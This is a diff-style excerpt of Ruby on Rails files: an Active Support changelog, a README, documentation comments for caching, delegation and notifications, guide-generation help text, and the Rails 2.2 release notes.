+* Deprecate `ActiveSupport::TestCase#pending` method, use `skip` from minitest instead. *Carlos Antonio da Silva*
+
+* `XmlMini.with_backend` now may be safely used with threads:
+
+ Thread.new do
+ XmlMini.with_backend("REXML") { rexml_power }
+ end
+ Thread.new do
+ XmlMini.with_backend("LibXML") { libxml_power }
+ end
+
+ Each thread will use it's own backend.
+
+ *Nikita Afanasenko*
+
+* Dependencies no longer trigger `Kernel#autoload` in `remove_constant`. Fixes #8213. *Xavier Noria*
+
+* Simplify `mocha` integration and remove monkey-patches, bumping `mocha` to 0.13.0. *James Mead*
+
+* `#as_json` isolates options when encoding a hash. Fixes #8182.
+
+ *Yves Senn*
+
+* Deprecate `Hash#diff` in favor of minitest's #diff. *Steve Klabnik*
+
+* `Kernel#capture` can catch output from subprocesses. *Dmitry Vorotilin*
+
+* `to_xml` conversions now use builder's `tag!` method instead of explicit invocation of `method_missing`.
+
+ *Nikita Afanasenko*
+
+* Fixed timezone mapping of the Solomon Islands. *Steve Klabnik*
+
+* Make callstack attribute optional in `ActiveSupport::Deprecation::Reporting`
+ methods `warn` and `deprecation_warning`.
+
+ *Alexey Gaziev*
+
+* Implement `HashWithIndifferentAccess#replace` so `key?` works correctly. *David Graham*
+
+* Handle the possible permission denied errors `atomic.rb` might trigger due to its `chown`
+ and `chmod` calls.
+
+ *Daniele Sluijters*
+
+* `Hash#extract!` returns only those keys that present in the receiver.
+
+ {a: 1, b: 2}.extract!(:a, :x) # => {:a => 1}
+
+ *Mikhail Dieterle*
+
+* `Hash#extract!` returns the same subclass, that the receiver is. I.e.
+ `HashWithIndifferentAccess#extract!` returns a `HashWithIndifferentAccess` instance.
+
+ *Mikhail Dieterle*
+
+* Optimize `ActiveSupport::Cache::Entry` to reduce memory and processing overhead. *Brian Durand*
+
+* Tests tag the Rails log with the current test class and test case:
+
+ [SessionsControllerTest] [test_0002_sign in] Processing by SessionsController#create as HTML
+ [SessionsControllerTest] [test_0002_sign in] ...
+
+ *Jeremy Kemper*
+
+* Add `logger.push_tags` and `.pop_tags` to complement `logger.tagged`:
+
+ class Job
+ def before
+ Rails.logger.push_tags :jobs, self.class.name
+ end
+
+ def after
+ Rails.logger.pop_tags 2
+ end
+ end
+
+ *Jeremy Kemper*
+
+* Allow delegation to the class using the `:class` keyword, replacing
+ `self.class` usage:
+
+ class User
+ def self.hello
+ "world"
+ end
+
+ delegate :hello, to: :class
+ end
+
+ *Marc-Andre Lafortune*
+
+* `Date.beginning_of_week` thread local and `beginning_of_week` application
+ config option added (default is Monday).
+
+ *Innokenty Mikhailov*
+
+* An optional block can be passed to `config_accessor` to set its default value
+
+ class User
+ include ActiveSupport::Configurable
+
+ config_accessor :hair_colors do
+ [:brown, :black, :blonde, :red]
+ end
+ end
+
+ User.hair_colors # => [:brown, :black, :blonde, :red]
+
+ *Larry Lv*
+
+* `ActiveSupport::Benchmarkable#silence` has been deprecated due to its lack of
+ thread safety. It will be removed without replacement in Rails 4.1.
+
+ *Steve Klabnik*
+
+* An optional block can be passed to `Hash#deep_merge`. The block will be invoked
+ for each duplicated key and used to resolve the conflict.
+
+ *Pranas Kiziela*
+
+* `ActiveSupport::Deprecation` is now a class. It is possible to create an instance
+ of deprecator. Backwards compatibility has been preserved.
+
+ You can choose which instance of the deprecator will be used.
+
+ deprecate :method_name, deprecator: deprecator_instance
+
+ You can use `ActiveSupport::Deprecation` in your gem.
+
+ require 'active_support/deprecation'
+ require 'active_support/core_ext/module/deprecation'
+
+ class MyGem
+ def self.deprecator
+ ActiveSupport::Deprecation.new('2.0', 'MyGem')

+ end
+
+ MyGem.new.old_method
+ # => DEPRECATION WARNING: old_method is deprecated and will be removed from MyGem 2.0 (use new_method instead). (called from <main> at file.rb:18)
+
+ *Piotr Niełacny & Robert Pankowecki*
+
+* `ERB::Util.html_escape` encodes single quote as `#39`. Decimal form has better support in old browsers. *Kalys Osmonov*
+
+* `ActiveSupport::Callbacks`: deprecate monkey patch of object callbacks.
+ Using the `filter` method like this:
+
+ before_filter MyFilter.new
+
+ class MyFilter
+ def filter(controller)
+ end
+ end
+
+ Is now deprecated with recommendation to use the corresponding filter type
+ (`#before`, `#after` or `#around`):
+
+ before_filter MyFilter.new
+
+ class MyFilter
+ def before(controller)
+ end
+ end
+
+ *Bogdan Gusiev*
+
+* An optional block can be passed to `HashWithIndifferentAccess#update` and `#merge`.
+ The block will be invoked for each duplicated key, and used to resolve the conflict,
+ thus replicating the behaviour of the corresponding methods on the `Hash` class.
+
+ *Leo Cassarani*
+
+* Remove `j` alias for `ERB::Util#json_escape`.
+ The `j` alias is already used for `ActionView::Helpers::JavaScriptHelper#escape_javascript`
+ and both modules are included in the view context that would confuse the developers.
+
+ *Akira Matsuda*
+
+* Replace deprecated `memcache-client` gem with `dalli` in `ActiveSupport::Cache::MemCacheStore`.
+
+ *Guillermo Iguaran*
+
+* Add default values to all `ActiveSupport::NumberHelper` methods, to avoid
+ errors with empty locales or missing values.
+
+ *Carlos Antonio da Silva*
+
+* `ActiveSupport::JSON::Variable` is deprecated. Define your own `#as_json` and
+ `#encode_json` methods for custom JSON string literals.
+
+ *Erich Menge*
+
+* Add `String#indent`. *fxn & Ace Suares*
+
+* Inflections can now be defined per locale. `singularize` and `pluralize`
+ accept locale as an extra argument.
+
+ *David Celis*
+
+* `Object#try` will now return `nil` instead of raise a `NoMethodError` if the
+ receiving object does not implement the method, but you can still get the
+ old behavior by using the new `Object#try!`.
+
+ *DHH*
+
+* `ERB::Util.html_escape` now escapes single quotes. *Santiago Pastorino*
+
+* `Time#change` now works with time values with offsets other than UTC or the local time zone. *Andrew White*
+
+* `ActiveSupport::Callbacks`: deprecate usage of filter object with `#before` and `#after` methods as `around` callback. *Bogdan Gusiev*
+
+* Add `Time#prev_quarter` and `Time#next_quarter` short-hands for `months_ago(3)` and `months_since(3)`. *SungHee Kang*
+
+* Remove obsolete and unused `require_association` method from dependencies. *fxn*
+
+* Add `:instance_accessor` option for `config_accessor`.
+
+ class User
+ include ActiveSupport::Configurable
+ config_accessor :allowed_access, instance_accessor: false
+ end
+
+ User.new.allowed_access = true # => NoMethodError
+ User.new.allowed_access # => NoMethodError
+
+ *Francesco Rodriguez*
+
+* `ActionView::Helpers::NumberHelper` methods have been moved to `ActiveSupport::NumberHelper` and are now available via
+ `Numeric#to_s`. `Numeric#to_s` now accepts the formatting options `:phone`, `:currency`, `:percentage`, `:delimited`,
+ `:rounded`, `:human`, and `:human_size`.
+
+ *Andrew Mutz*
+
+* Add `Hash#transform_keys`, `Hash#transform_keys!`, `Hash#deep_transform_keys`, and `Hash#deep_transform_keys!`. *Mark McSpadden*
+
+* Changed XML type `datetime` to `dateTime` (with upper case letter `T`). *Angelo Capilleri*
+
+* Add `:instance_accessor` option for `class_attribute`. *Alexey Vakhov*
+
+* `constantize` now looks in the ancestor chain. *Marc-Andre Lafortune & Andrew White*
+
+* Adds `Hash#deep_stringify_keys` and `Hash#deep_stringify_keys!` to convert all keys from a `Hash` instance into strings. *Lucas Húngaro*
+
+* Adds `Hash#deep_symbolize_keys` and `Hash#deep_symbolize_keys!` to convert all keys from a `Hash` instance into symbols. *Lucas Húngaro*
+
+* `Object#try` can't call private methods. *Vasiliy Ermolovich*
+
+* `AS::Callbacks#run_callbacks` remove `key` argument. *Francesco Rodriguez*
+
+* `deep_dup` works more expectedly now and duplicates also values in `Hash` instances and elements in `Array` instances. *Alexey Gaziev*
+
+* Inflector no longer applies ice -> ouse to words like "slice", "police", etc. *Wes Morgan*
+
+* Add `ActiveSupport::Deprecations.behavior = :silence` to completely ignore Rails runtime deprecations. *twinturbo*
+
+* Make `Module#delegate` stop using `send` - can no longer delegate to private methods. *dasch*
+
+* `ActiveSupport::Callbacks`: deprecate `:rescuable` option. *Bogdan Gusiev*
+
+* Adds `Integer#ordinal` to get the ordinal suffix string of an integer. *Tim Gildea*
+
+* `ActiveSupport::Callbacks`: `:per_key` option is no longer supported. *Bogdan Gusiev*
+
+* `ActiveSupport::Callbacks#define_callbacks`: add `:skip_after_callbacks_if_terminated` option. *Bogdan Gusiev*
+
+* Add `html_escape_once` to `ERB::Util`, and delegate the `escape_once` tag helper to it. *Carlos Antonio da Silva*
+
+* Deprecates the compatibility method `Module#local_constant_names`,
+ use `Module#local_constants` instead (which returns symbols). *Xavier Noria*
+
+* Deletes the compatibility method `Module#method_names`,
+ use `Module#methods` from now on (which returns symbols). *Xavier Noria*
+
+* Deletes the compatibility method `Module#instance_method_names`,

+
+* `BufferedLogger` is deprecated. Use `ActiveSupport::Logger`, or the logger
+ from the Ruby standard library.
+
+ *Aaron Patterson*
+
+* Unicode database updated to 6.1.0. *Norman Clarke*
+
+* Adds `encode_big_decimal_as_string` option to force JSON serialization of `BigDecimal` as numeric instead

+= Active Support -- Utility classes and Ruby extensions from Rails
+
+Active Support is a collection of utility classes and standard library
+extensions that were found useful for the Rails framework. These additions
+reside in this package so they can be loaded as needed in Ruby projects
+outside of Rails.
+
+
+== Download and installation
+
+The latest version of Active Support can be installed with RubyGems:
+
+ % [sudo] gem install activesupport
+
+Source code can be downloaded as part of the Rails project on GitHub:
+
+* https://github.com/rails/rails/tree/master/activesupport
+

+ # An abstract cache store class. There are multiple cache store

+ # under the ActiveSupport::Cache module, e.g.
+ # ActiveSupport::Cache::MemCacheStore. MemCacheStore is currently the most
+ # popular cache store for large production websites.
+ #
+ # Some implementations may not support all methods beyond the basic cache
+ # methods of +fetch+, +write+, +read+, +exist?+, and +delete+.
+ #
+ # ActiveSupport::Cache::Store can store any serializable Ruby object.
+ #
+ # cache = ActiveSupport::Cache::MemoryStore.new
+ #
+ # cache.read('city') # => nil
+ # cache.write('city', "Duckburgh")
+ # cache.read('city') # => "Duckburgh"
+ #
+ # Keys are always translated into Strings and are case sensitive. When an
+ # object is specified as a key and has a +cache_key+ method defined, this
+ # method will be called to define the key. Otherwise, the +to_param+
+ # method will be called. Hashes and Arrays can also be used as keys. The
+ # elements will be delimited by slashes, and the elements within a Hash
+ # will be sorted by key so they are consistent.
+ #
+ # cache.read('city') == cache.read(:city) # => true
+ #
+ # Nil values can be cached.
+ #
+ # If your cache is on a shared infrastructure, you can define a namespace
+ # for your cache entries. If a namespace is defined, it will be prefixed on
+ # to every key. The namespace can be either a static value or a Proc. If it
+ # is a Proc, it will be invoked when each key is evaluated so that you can
+ # use application logic to invalidate keys.
+ #
+ # cache.namespace = -> { @last_mod_time } # Set the namespace to a variable
+ # @last_mod_time = Time.now # Invalidate the entire cache by changing namespace
+ #
+ # Caches can also store values in a compressed format to save space and
+ # reduce time spent sending data. Since there is overhead, values must be
+ # large enough to warrant compression. To turn on compression either pass
+ # <tt>compress: true</tt> in the initializer or as an option to +fetch+
+ # or +write+. To specify the threshold at which to compress values, set the
+ # <tt>:compress_threshold</tt> option. The default threshold is 16K.

+ # cache = ActiveSupport::Cache::MemoryStore.new(expires_in: 5.minutes)
+ # cache.write(key, value, expires_in: 1.minute) # Set a lower value for one entry
+ #
+ # Setting <tt>:race_condition_ttl</tt> is very useful in situations where
+ # a cache entry is used very frequently and is under heavy load. If a
+ # cache expires and due to heavy load seven different processes will try
+ # to read data natively and then they all will try to write to cache. To
+ # avoid that case the first process to find an expired cache entry will
+ # bump the cache expiration time by the value set in <tt>:race_condition_ttl</tt>.
+ # Yes, this process is extending the time for a stale value by another few
+ # seconds. Because of extended life of the previous cache, other processes
+ # will continue to use slightly stale data for a just a big longer. In the
+ # meantime that first process will go ahead and will write into cache the
+ # new value. After that all the processes will start getting new value.
+ # The key is to keep <tt>:race_condition_ttl</tt> small.
+ #
+ # If the process regenerating the entry errors out, the entry will be
+ # regenerated after the specified number of seconds. Also note that the
+ # life of stale cache is extended only if it expired recently. Otherwise
+ # a new value is generated and <tt>:race_condition_ttl</tt> does not play
+ # any role.

+ # default after callbacks executed no matter if callback chain was

+ # Provides a +delegate+ class method to easily expose contained objects'

+ #
+ # The macro receives one or more method names (specified as symbols or
+ # strings) and the name of the target object via the <tt>:to</tt> option
+ # (also a symbol or string).
+ #
+ # Delegation is particularly useful with Active Record associations:
+ #
+ # class Greeter < ActiveRecord::Base
+ # def hello
+ # 'hello'
+ # end
+ #
+ # def goodbye
+ # 'goodbye'
+ # end
+ # end

+ # end
+ #
+ # Foo.new.hello # => "hello"
+ # Foo.new.goodbye # => NoMethodError: undefined method `goodbye' for #<Foo:0x1af30c>
+ #
+ # Multiple delegates to the same target are allowed:
+ #
+ # class Foo < ActiveRecord::Base
+ # belongs_to :greeter
+ # delegate :hello, :goodbye, to: :greeter
+ # end
+ #
+ # Foo.new.goodbye # => "goodbye"
+ #
+ # Methods can be delegated to instance variables, class variables, or constants
+ # by providing them as a symbols:
+ #
+ # class Foo
+ # CONSTANT_ARRAY = [0,1,2,3]
+ # @@class_array = [4,5,6,7]
+ #
+ # def initialize
+ # @instance_array = [8,9,10,11]
+ # end
+ # delegate :sum, to: :CONSTANT_ARRAY
+ # delegate :min, to: :@@class_array
+ # delegate :max, to: :@instance_array
+ # end
+ #
+ # Foo.new.sum # => 6
+ # Foo.new.min # => 4
+ # Foo.new.max # => 11
+ #
+ # It's also possible to delegate a method to the class by using +:class+:
+ #
+ # class Foo
+ # def self.hello
+ # "world"
+ # end
+ #
+ # delegate :hello, to: :class
+ # end
+ #
+ # Foo.new.hello # => "world"
+ #
+ # Delegates can optionally be prefixed using the <tt>:prefix</tt> option. If the value
+ # is <tt>true</tt>, the delegate methods are prefixed with the name of the object being
+ # delegated to.
+ #
+ # Person = Struct.new(:name, :address)
+ #
+ # class Invoice < Struct.new(:client)
+ # delegate :name, :address, to: :client, prefix: true
+ # end
+ #
+ # john_doe = Person.new('John Doe', 'Vimmersvej 13')
+ # invoice = Invoice.new(john_doe)
+ # invoice.client_name # => "John Doe"
+ # invoice.client_address # => "Vimmersvej 13"
+ #
+ # It is also possible to supply a custom prefix.

+ # end

+ # invoice.customer_address # => 'Vimmersvej 13'
+ #
+ # If the target is +nil+ and does not respond to the delegated method a
+ # +NoMethodError+ is raised, as with any other value. Sometimes, however, it
+ # makes sense to be robust to that situation and that is the purpose of the
+ # <tt>:allow_nil</tt> option: If the target is not +nil+, or it is and
+ # responds to the method, everything works as usual. But if it is +nil+ and
+ # does not respond to the delegated method, +nil+ is returned.
+ #
+ # class User < ActiveRecord::Base
+ # has_one :profile
+ # delegate :age, to: :profile
+ # end

+ # delegate :age, to: :profile, allow_nil: true
+ # end
+ #

+ #
+ # Note that if the target is not +nil+ then the call is attempted regardless of the

+ #
+ # You are guaranteed that the key is returned as a string:
+ #
+ # hash.keys # => ["a"]

+module ActiveSupport
+ # = Notifications
+ #
+ # <tt>ActiveSupport::Notifications</tt> provides an instrumentation API for
+ # Ruby.
+ #
+ # == Instrumenters
+ #
+ # To instrument an event you just need to do:
+ #
+ # ActiveSupport::Notifications.instrument('render', extra: :information) do
+ # render text: 'Foo'
+ # end
+ #
+ # That executes the block first and notifies all subscribers once done.
+ #
+ # In the example above +render+ is the name of the event, and the rest is called
+ # the _payload_. The payload is a mechanism that allows instrumenters to pass
+ # extra information to subscribers. Payloads consist of a hash whose contents
+ # are arbitrary and generally depend on the event.
+ #
+ # == Subscribers
+ #
+ # You can consume those events and the information they provide by registering
+ # a subscriber.
+ #
+ # ActiveSupport::Notifications.subscribe('render') do |name, start, finish, id, payload|
+ # name # => String, name of the event (such as 'render' from above)
+ # start # => Time, when the instrumented block started execution
+ # finish # => Time, when the instrumented block ended execution
+ # id # => String, unique ID for this notification
+ # payload # => Hash, the payload
+ # end
+ #
+ # For instance, let's store all "render" events in an array:
+ #
+ # events = []
+ #
+ # ActiveSupport::Notifications.subscribe('render') do |*args|
+ # events << ActiveSupport::Notifications::Event.new(*args)
+ # end
+ #
+ # That code returns right away, you are just subscribing to "render" events.
+ # The block is saved and will be called whenever someone instruments "render":
+ #
+ # ActiveSupport::Notifications.instrument('render', extra: :information) do
+ # render text: 'Foo'
+ # end
+ #
+ # event = events.first
+ # event.name # => "render"
+ # event.duration # => 10 (in milliseconds)
+ # event.payload # => { extra: :information }
+ #
+ # The block in the <tt>subscribe</tt> call gets the name of the event, start
+ # timestamp, end timestamp, a string with a unique identifier for that event
+ # (something like "535801666f04d0298cd6"), and a hash with the payload, in
+ # that order.
+ #
+ # If an exception happens during that particular instrumentation the payload will
+ # have a key <tt>:exception</tt> with an array of two elements as value: a string with
+ # the name of the exception class, and the exception message.
+ #
+ # As the previous example depicts, the class <tt>ActiveSupport::Notifications::Event</tt>
+ # is able to take the arguments as they come and provide an object-oriented
+ # interface to that data.
+ #
+ # It is also possible to pass an object as the second parameter passed to the
+ # <tt>subscribe</tt> method instead of a block:
+ #
+ # module ActionController
+ # class PageRequest
+ # def call(name, started, finished, unique_id, payload)
+ # Rails.logger.debug ['notification:', name, started, finished, unique_id, payload].join(' ')
+ # end
+ # end
+ # end
+ #
+ # ActiveSupport::Notifications.subscribe('process_action.action_controller', ActionController::PageRequest.new)
+ #
+ # resulting in the following output within the logs including a hash with the payload:
+ #
+ # notification: process_action.action_controller 2012-04-13 01:08:35 +0300 2012-04-13 01:08:35 +0300 af358ed7fab884532ec7 {
+ # controller: "Devise::SessionsController",
+ # action: "new",
+ # params: {"action"=>"new", "controller"=>"devise/sessions"},
+ # format: :html,
+ # method: "GET",
+ # path: "/login/sign_in",
+ # status: 200,
+ # view_runtime: 279.3080806732178,
+ # db_runtime: 40.053
+ # }
+ #
+ # You can also subscribe to all events whose name matches a certain regexp:
+ #
+ # ActiveSupport::Notifications.subscribe(/render/) do |*args|
+ # ...
+ # end
+ #
+ # and even pass no argument to <tt>subscribe</tt>, in which case you are subscribing
+ # to all events.
+ #
+ # == Temporary Subscriptions
+ #
+ # Sometimes you do not want to subscribe to an event for the entire life of
+ # the application. There are two ways to unsubscribe.
+ #
+ # WARNING: The instrumentation framework is designed for long-running subscribers,
+ # use this feature sparingly because it wipes some internal caches and that has
+ # a negative impact on performance.
+ #
+ # === Subscribe While a Block Runs
+ #
+ # You can subscribe to some event temporarily while some block runs. For
+ # example, in
+ #
+ # callback = lambda {|*args| ... }
+ # ActiveSupport::Notifications.subscribed(callback, "sql.active_record") do
+ # ...
+ # end
+ #
+ # the callback will be called for all "sql.active_record" events instrumented
+ # during the execution of the block. The callback is unsubscribed automatically
+ # after that.
+ #
+ # === Manual Unsubscription
+ #
+ # The +subscribe+ method returns a subscriber object:
+ #
+ # subscriber = ActiveSupport::Notifications.subscribe("render") do |*args|
+ # ...
+ # end
+ #
+ # To prevent that block from being called anymore, just unsubscribe passing
+ # that reference:
+ #
+ # ActiveSupport::Notifications.unsubscribe(subscriber)
+ #
+ # == Default Queue
+ #
+ # Notifications ships with a queue implementation that consumes and publish events
+ # to log subscribers in a thread. You can use any queue implementation you want.
+ #
+ module Notifications
+ class << self
+ attr_accessor :notifier
+

+ # The TimeZone class serves as a wrapper around TZInfo::Timezone instances.
+ # It allows us to do the following:
+ #
+ # * Limit the set of zones provided by TZInfo to a meaningful subset of 146
+ # zones.
+ # * Retrieve and display zones with a friendlier name
+ # (e.g., "Eastern Time (US & Canada)" instead of "America/New_York").
+ # * Lazily load TZInfo::Timezone instances only when they're needed.
+ # * Create ActiveSupport::TimeWithZone instances via TimeZone's +local+,
+ # +parse+, +at+ and +now+ methods.
+ #
+ # If you set <tt>config.time_zone</tt> in the Rails Application, you can
+ # access this TimeZone object via <tt>Time.zone</tt>:
+ #
+ # # application.rb:
+ # class Application < Rails::Application
+ # config.time_zone = 'Eastern Time (US & Canada)'
+ # end
+ #

+ # Time.zone.name # => "Eastern Time (US & Canada)"
+ # Time.zone.now # => Sun, 18 May 2008 14:30:44 EDT -04:00
+ #
+ # The version of TZInfo bundled with Active Support only includes the
+ # definitions necessary to support the zones defined by the TimeZone class.
+ # If you need to use zones that aren't defined by TimeZone, you'll need to
+ # install the TZInfo gem (if a recent version of the gem is installed locally,
+ # this will be used instead of the bundled version.)

+Guides are taken from the source directory, and the resulting HTML goes into the
+output directory. Assets are stored under files, and copied to output/files as
+part of the generation process.
+
+All this process is handled via rake tasks, here's a full list of them:
+
+#{%x[rake -T]}
+Some arguments may be passed via environment variables:
+
+ WARNINGS=1
+ Internal links (anchors) are checked, also detects duplicated IDs.
+
+ ALL=1
+ Force generation of all guides.
+
+ ONLY=name
+ Useful if you want to generate only one or a set of guides.
+
+ Generate only association_basics.html:
+ ONLY=assoc
+
+ Separate many using commas:
+ ONLY=assoc,migrations
+
+ GUIDES_LANGUAGE
+ Use it when you want to generate translated guides in
+ source/<GUIDES_LANGUAGE> folder (such as source/es)
+
+ EDGE=1
+ Indicate generated guides should be marked as edge.
+
+Examples:
+ $ rake guides:generate ALL=1
+ $ rake guides:generate EDGE=1
+ $ rake guides:generate:kindle EDGE=1
+ $ rake guides:generate GUIDES_LANGUAGE=es

+# This script generates the guides. It can be invoked via the

+# Some arguments may be passed via environment variables:

+# WARNINGS
+# If you are writing a guide, please work always with WARNINGS=1. Users can
+# generate the guides, and thus this flag is off by default.
+#
+# Internal links (anchors) are checked. If a reference is broken levenshtein
+# distance is used to suggest an existing one. This is useful since IDs are
+# generated by Markdown from headers and thus edits alter them.
+#
+# Also detects duplicated IDs. They happen if there are headers with the same
+# text. Please do resolve them, if any, so guides are valid XHTML.
+#
+# ALL
+# Set to "1" to force the generation of all guides.
+#
+# ONLY
+# Use ONLY if you want to generate only one or a set of guides. Prefixes are
+# enough:
+#
+# # generates only association_basics.html
+# ONLY=assoc ruby rails_guides.rb
+#
+# Separate many using commas:
+#
+# # generates only association_basics.html and migrations.html
+# ONLY=assoc,migrations ruby rails_guides.rb
+#
+# Note that if you are working on a guide generation will by default process
+# only that one, so ONLY is rarely used nowadays.
+#
+# GUIDES_LANGUAGE
+# Use GUIDES_LANGUAGE when you want to generate translated guides in
+# <tt>source/<GUIDES_LANGUAGE></tt> folder (such as <tt>source/es</tt>).
+# Ignore it when generating English guides.
+#
+# EDGE

+Ruby on Rails 2.2 Release Notes
+===============================
+
+Rails 2.2 delivers a number of new and improved features. This list covers the major upgrades, but doesn't include every little bug fix and change. If you want to see everything, check out the [list of commits](http://github.com/rails/rails/commits/master) in the main Rails repository on GitHub.
+
+Along with Rails, 2.2 marks the launch of the [Ruby on Rails Guides](http://guides.rubyonrails.org/), the first results of the ongoing [Rails Guides hackfest](http://hackfest.rubyonrails.org/guide). This site will deliver high-quality documentation of the major features of Rails.
+
+--------------------------------------------------------------------------------
+
+Infrastructure
+--------------
+
+Rails 2.2 is a significant release for the infrastructure that keeps Rails humming along and connected to the rest of the world.
+
+### Internationalization
+
+Rails 2.2 supplies an easy system for internationalization (or i18n, for those of you tired of typing).
+
+* Lead Contributors: Rails i18 Team
+* More information :
+ * [Official Rails i18 website](http://rails-i18n.org)
+ * [Finally. Ruby on Rails gets internationalized](http://www.artweb-design.de/2008/7/18/finally-ruby-on-rails-gets-internationalized)
+ * [Localizing Rails : Demo application](http://github.com/clemens/i18n_demo_app)
+
+### Compatibility with Ruby 1.9 and JRuby
+
+Along with thread safety, a lot of work has been done to make Rails work well with JRuby and the upcoming Ruby 1.9. With Ruby 1.9 being a moving target, running edge Rails on edge Ruby is still a hit-or-miss proposition, but Rails is ready to make the transition to Ruby 1.9 when the latter is released.
+
+Documentation
+-------------
+
+The internal documentation of Rails, in the form of code comments, has been improved in numerous places. In addition, the [Ruby on Rails Guides](http://guides.rubyonrails.org/) project is the definitive source for information on major Rails components. In its first official release, the Guides page includes:
+
+* [Getting Started with Rails](getting_started.html)
+* [Rails Database Migrations](migrations.html)
+* [Active Record Associations](association_basics.html)
+* [Active Record Query Interface](active_record_querying.html)
+* [Layouts and Rendering in Rails](layouts_and_rendering.html)
+* [Action View Form Helpers](form_helpers.html)
+* [Rails Routing from the Outside In](routing.html)
+* [Action Controller Overview](action_controller_overview.html)
+* [Rails Caching](caching_with_rails.html)
+* [A Guide to Testing Rails Applications](testing.html)
+* [Securing Rails Applications](security.html)
+* [Debugging Rails Applications](debugging_rails_applications.html)
+* [Performance Testing Rails Applications](performance_testing.html)
+* [The Basics of Creating Rails Plugins](plugins.html)
+
+All told, the Guides provide tens of thousands of words of guidance for beginning and intermediate Rails developers.
+
+If you want to generate these guides locally, inside your application:
+
+```
+rake doc:guides
+```
+
+This will put the guides inside `Rails.root/doc/guides` and you may start surfing straight away by opening `Rails.root/doc/guides/index.html` in your favourite browser.
+
+* Lead Contributors: [Rails Documentation Team](credits.html)
+* Major contributions from [Xavier Noria":http://advogato.org/person/fxn/diary.html and "Hongli Lai](http://izumi.plan99.net/blog/.)
+* More information:

+ * [Help improve Rails documentation on Git branch](http://weblog.rubyonrails.org/2008/5/2/help-improve-rails-documentation-on-git-branch)
+
+Better integration with HTTP : Out of the box ETag support
+----------------------------------------------------------
+
+Supporting the etag and last modified timestamp in HTTP headers means that Rails can now send back an empty response if it gets a request for a resource that hasn't been modified lately. This allows you to check whether a response needs to be sent at all.
+
+```ruby
+class ArticlesController < ApplicationController
+ def show_with_respond_to_block
+ @article = Article.find(params[:id])
+
+ # If the request sends headers that differs from the options provided to stale?, then
+ # the request is indeed stale and the respond_to block is triggered (and the options
+ # to the stale? call is set on the response).
+ #
+ # If the request headers match, then the request is fresh and the respond_to block is
+ # not triggered. Instead the default render will occur, which will check the last-modified
+ # and etag headers and conclude that it only needs to send a "304 Not Modified" instead
+ # of rendering the template.
+ if stale?(:last_modified => @article.published_at.utc, :etag => @article)
+ respond_to do |wants|
+ # normal response processing
+ end
+ end
+ end
+
+ def show_with_implied_render
+ @article = Article.find(params[:id])
+
+ # Sets the response headers and checks them against the request, if the request is stale
+ # (i.e. no match of either etag or last-modified), then the default render of the template happens.
+ # If the request is fresh, then the default render will return a "304 Not Modified"
+ # instead of rendering the template.
+ fresh_when(:last_modified => @article.published_at.utc, :etag => @article)
+ end
+end
+```
+
+Thread Safety
+-------------
+
+The work done to make Rails thread-safe is rolling out in Rails 2.2. Depending on your web server infrastructure, this means you can handle more requests with fewer copies of Rails in memory, leading to better server performance and higher utilization of multiple cores.
+
+To enable multithreaded dispatching in production mode of your application, add the following line in your `config/environments/production.rb`:
+
+```ruby
+config.threadsafe!
+```
+
+* More information :
+ * [Thread safety for your Rails](http://m.onkey.org/2008/10/23/thread-safety-for-your-rails)
+ * [Thread safety project announcement](http://weblog.rubyonrails.org/2008/8/16/josh-peek-officially-joins-the-rails-core)
+ * [Q/A: What Thread-safe Rails Means](http://blog.headius.com/2008/08/qa-what-thread-safe-rails-means.html)
+
+Active Record
+-------------
+
+There are two big additions to talk about here: transactional migrations and pooled database transactions. There's also a new (and cleaner) syntax for join table conditions, as well as a number of smaller improvements.
+
+### Transactional Migrations
+
+Historically, multiple-step Rails migrations have been a source of trouble. If something went wrong during a migration, everything before the error changed the database and everything after the error wasn't applied. Also, the migration version was stored as having been executed, which means that it couldn't be simply rerun by `rake db:migrate:redo` after you fix the problem. Transactional migrations change this by wrapping migration steps in a DDL transaction, so that if any of them fail [...]

+ * [DDL Transactions](http://adam.heroku.com/past/2008/9/3/ddl_transactions/)
+ * [A major milestone for DB2 on Rails](http://db2onrails.com/2008/11/08/a-major-milestone-for-db2-on-rails/)
+
+### Connection Pooling
+
+Connection pooling lets Rails distribute database requests across a pool of database connections that will grow to a maximum size (by default 5, but you can add a `pool` key to your `database.yml` to adjust this). This helps remove bottlenecks in applications that support many concurrent users. There's also a `wait_timeout` that defaults to 5 seconds before giving up. `ActiveRecord::Base.connection_pool` gives you direct access to the pool if you need it.
+
+```yaml
+development:
+ adapter: mysql
+ username: root
+ database: sample_development
+ pool: 10
+ wait_timeout: 10
+```

+* More information:
+ * [What's New in Edge Rails: Connection Pools](http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-connection-pools)
+
+### Hashes for Join Table Conditions
+
+You can now specify conditions on join tables using a hash. This is a big help if you need to query across complex joins.
+
+```ruby
+class Photo < ActiveRecord::Base
+ belongs_to :product
+end
+
+class Product < ActiveRecord::Base
+ has_many :photos
+end
+
+# Get all products with copyright-free photos:
+Product.all(:joins => :photos, :conditions => { :photos => { :copyright => false }})
+```
+
+* More information:
+ * [What's New in Edge Rails: Easy Join Table Conditions](http://ryandaigle.com/articles/2008/7/7/what-s-new-in-edge-rails-easy-join-table-conditions)
+
+### New Dynamic Finders
+
+Two new sets of methods have been added to Active Record's dynamic finders family.
+
+#### `find_last_by_attribute`
+
+The `find_last_by_attribute` method is equivalent to `Model.last(:conditions => {:attribute => value})`
+
+```ruby
+# Get the last user who signed up from London
+User.find_last_by_city('London')
+```
+
+* Lead Contributor: [Emilio Tagua](http://www.workingwithrails.com/person/9147-emilio-tagua)
+
+#### `find_by_attribute!`
+
+The new bang! version of `find_by_attribute!` is equivalent to `Model.first(:conditions => {:attribute => value}) || raise ActiveRecord::RecordNotFound` Instead of returning `nil` if it can't find a matching record, this method will raise an exception if it cannot find a match.
+
+```ruby
+# Raise ActiveRecord::RecordNotFound exception if 'Moby' hasn't signed up yet!
+User.find_by_name!('Moby')
+```
+
+* Lead Contributor: [Josh Susser](http://blog.hasmanythrough.com)
+
+### Associations Respect Private/Protected Scope
+
+Active Record association proxies now respect the scope of methods on the proxied object. Previously (given User has_one :account) `@user.account.private_method` would call the private method on the associated Account object. That fails in Rails 2.2; if you need this functionality, you should use `@user.account.send(:private_method)` (or make the method public instead of private or protected). Please note that if you're overriding `method_missing`, you should also override `respond_to` t [...]

+
+### Other ActiveRecord Changes
+
+* `rake db:migrate:redo` now accepts an optional VERSION to target that specific migration to redo
+* Set `config.active_record.timestamped_migrations = false` to have migrations with numeric prefix instead of UTC timestamp.
+* Counter cache columns (for associations declared with `:counter_cache => true`) do not need to be initialized to zero any longer.
